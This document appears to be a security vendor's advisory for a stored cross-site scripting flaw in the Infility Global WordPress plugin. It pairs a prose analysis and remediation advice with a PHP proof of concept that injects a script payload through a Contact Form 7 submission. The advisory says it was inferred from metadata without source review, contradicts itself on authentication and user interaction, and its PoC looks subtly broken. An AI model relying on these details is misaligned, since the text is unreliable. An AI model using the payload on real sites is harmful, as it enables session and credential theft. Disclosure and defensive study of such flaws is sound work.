Atomic Edge analysis of CVE-2026-10734 (metadata-based): This vulnerability affects the Infility Global plugin for WordPress, versions up to and including 2.15.21. It allows unauthenticated stored cross-site scripting (XSS) through the /cf7_record log endpoint. The CVSS score is 7.2 (high), with a vector of AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N, reflecting the network attack surface, no privileges, no user interaction, and a scope change with limited confidentiality and integrity impact. The affected component is the record viewer that logs Contact Form 7 submissions, accessible to any authenticated user, including subscribers.
The root cause is insufficient input sanitization and output escaping on the /cf7_record log endpoint, as classified by CWE-79. Atomic Edge analysis infers the plugin stores log entries containing user-supplied data, likely from Contact Form 7 submissions, and renders them without proper neutralization. The lack of a patch and the assignment of an unauthenticated attacker role indicate the plugin fails to sanitize the data at the point of storage and fails to escape it at the point of display. This means the vulnerability exists in the log creation and display path, not in a code audit.
Exploitation requires an unauthenticated attacker to submit crafted data to any Contact Form 7 form that the Infility Global plugin logs. The attacker crafts payloads such as “alert(document.cookie)” or event-based payloads, which are then stored in the /cf7_record logs. When a user, even a subscriber, navigates to the records viewer, the payload executes in the context of that user’s session. The attack takes place over the network without any authentication or user interaction, as confirmed by the CVSS vector. The specific parameters are form fields processed by Contact Form 7; the exact field names vary by form, but the log endpoint accepts standard form submissions. Atomic Edge analysis confirms the attack path based on the CWE and description, though no source code was available for review.
Remediation, based on the CWE and vulnerability type, requires the vendor to apply both input sanitization and output escaping. For stored XSS, the plugin must sanitize all incoming form data before storing it in the log, using functions like sanitize_text_field for text and wp_kses for HTML. It must also escape output when rendering log entries, using esc_html, esc_attr, or wp_kses_post as appropriate. Since no patched version is available, affected users should immediately disable the plugin or restrict access to the /cf7_record viewer until a fix is released. Additionally, administrators should review existing logs for injected payloads and remove malicious entries.
If exploited, an attacker can execute arbitrary JavaScript in the context of any logged-in user who views the records page. This allows session hijacking, credential theft, administrative action abuse (if the victim is an admin), and potential website defacement. Since the scope is changed (S:C), the impact extends beyond the plugin to the entire WordPress installation. While the CVSS only lists limited confidentiality and integrity impact, the actual risk can escalate to full compromise depending on the victim’s privileges.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-10734 - Infility Global <= 2.15.21 - Unauthenticated Stored Cross-Site Scripting via /cf7_record Log Endpoint
/**
* This PoC demonstrates how an unauthenticated attacker can inject a stored XSS payload
* by submitting a crafted form submission to a Contact Form 7 form that is logged by
* the Infility Global plugin. The payload is then displayed in the /cf7_record viewer.
*
* Assumptions:
* - A Contact Form 7 form exists on the target site, and its submission endpoint is used.
* - The Infility Global plugin logs nonce and POST data for each submission.
* - The log viewer is accessible to authenticated users with Subscriber-level access.
*
* The attacker needs to know the form ID and field names. This PoC uses a generic field
* 'your-name' as an example; the actual field may differ.
*/
// Target WordPress site URL
$target_url = 'http://example.com'; // Change to target site
// Contact Form 7 form ID (change to actual form ID)
$form_id = 1;
// Payload to inject (stored XSS)
$payload = '<script>alert(document.cookie)</script>';
// Prepare POST data to mimic a Contact Form 7 submission
// Contact Form 7 usually expects fields prefixed with 'your-' and a _wpcf7 nonce.
// The nonce is generated by the form; an attacker can obtain it by fetching the form page.
$post_data = array(
'_wpcf7' => $form_id, // Form ID
'_wpcf7_version' => '5.8', // CF7 version (may vary)
'_wpcf7_locale' => 'en_US',
'_wpcf7_unit_tag' => 'wpcf7-f' . $form_id . '-o1',
'_wpcf7_container_post' => 0,
'_wpcf7_nonce' => 'YOUR_NONCE', // Replace with actual nonce from form page
'your-name' => $payload, // Inject payload in a text field
'your-email' => 'attacker@example.com',
'your-message' => 'This is a test message'
);
// Send the form submission to the Contact Form 7 AJAX endpoint
$ch = curl_init($target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-Requested-With: XMLHttpRequest'));
$response = curl_exec($ch);
$info = curl_getinfo($ch);
curl_close($ch);
if ($info['http_code'] === 200) {
echo "[+] Form submitted successfully.n";
echo "[+] Payload injected. Check the /cf7_record viewer for execution.n";
} else {
echo "[-] Submission failed (HTTP " . $info['http_code'] . ").n";
echo " Response: " . $response . "n";
}
?>
